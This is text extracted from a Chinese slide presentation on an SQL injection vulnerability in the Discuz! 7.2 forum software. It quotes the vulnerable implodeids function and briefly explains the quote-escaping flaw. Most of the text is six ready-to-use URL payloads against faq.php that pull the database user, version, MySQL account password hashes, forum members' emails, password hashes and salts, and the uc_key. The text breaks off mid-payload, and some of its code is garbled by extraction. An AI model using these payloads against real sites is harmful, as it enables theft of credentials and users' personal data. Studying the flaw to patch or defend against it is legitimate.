节1：Discuz!7.2 SQL注入漏洞陆小马功钟浩.pptxVIP

J1：Discuz!7.2 SQL注入漏洞by Dergat 2018.1012漏洞代码CONTENT可用EXP1-1漏洞代码implodeids函数漏洞代码 function implodeids($array) { if(!empty($array)){ return.implode(,, is_array($array) ? $array :array($array)).; } else { return ; }}漏洞代码刚才的$groupids数组用,分割开，组成一个类似于1,2,3,4的字符串返回。但是我们的数组刚取出来一个转义符，它会将这里一个正常的转义掉，比如这样：1,\,3,4有没有看出有点不同，第4个单引号被转义了，也就是说第5个单引号和第3个单引号闭合。这样3这个位置就等于逃逸出了单引号，也就是产生的注入。我们把报错语句放在3这个位置，就能报错。1-2可用EXP可用EXP(1)获取mysql用户信息/dz72/faq.php?action=grouppermissiongids[99]=%27gids[100][0]=%29%20and%20%28select%201%20from%20%28select%20count%28*%29,concat%28user%28%29,floor%28rand%280%29*2%29%29x%20from%20information_schema.tables%20group%20by%20x%29a%29%23可用EXP(2)获取数据库版本信息/dz72/faq.php?action=grouppermissiongids[99]=%27gids[100][0]=%29%20and%20%28select%201%20from%20%28select%20count%28*%29,concat%28version%28%29,floor%28rand%280%29*2%29%29x%20from%20information_schema.tables%20group%20by%20x%29a%29%23可用EXP(3)获取数据库信息/dz72/faq.php?action=grouppermissiongids[99]=%27gids[100][0]=%29%20and%20%28select%201%20from%20%28select%20count%28*%29,concat%28database%28%29,floor%28rand%280%29*2%29,0x3a,concat%28user%28%29%29%20%29x%20from%20information_schema.tables%20group%20by%20x%29a%29%23可用EXP(4)获取数据库用户名和密码/dz72/faq.php?action=grouppermissiongids[99]=%27gids[100][0]=)%20and%20(select%201%20from%20(select%20count(*),concat((select%20concat(user,0x3a,password,0x3a)%20from%20mysql.user limit 0,1),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a)%23可用EXP（5）获取用户名、email、密码和salt信息/dz72/faq.php?action=grouppermissiongids[99]=%27gids[100][0]=%29%20and%20%28select%201%20from%20%28select%20count%28*%29,concat%28%28select%20concat%28username,0x3a,email,0x3a,password,0x3a,salt,0x3a,secques%29%20from%20cdb_uc_memberslimit%200,1%29,floor%28rand%280%29*2%29%29x%20from%20information_schema.tables%20group%20by%20x%29a%29%23可用EXP（6）获取uc_key/dz72/faq.php?action=grouppermissiongids[99]=%27gids[100][0]=)%20and%20(select%201%20from%20(select%20count(*),concat(floor(rand(0)*2),0x3a,(select%20su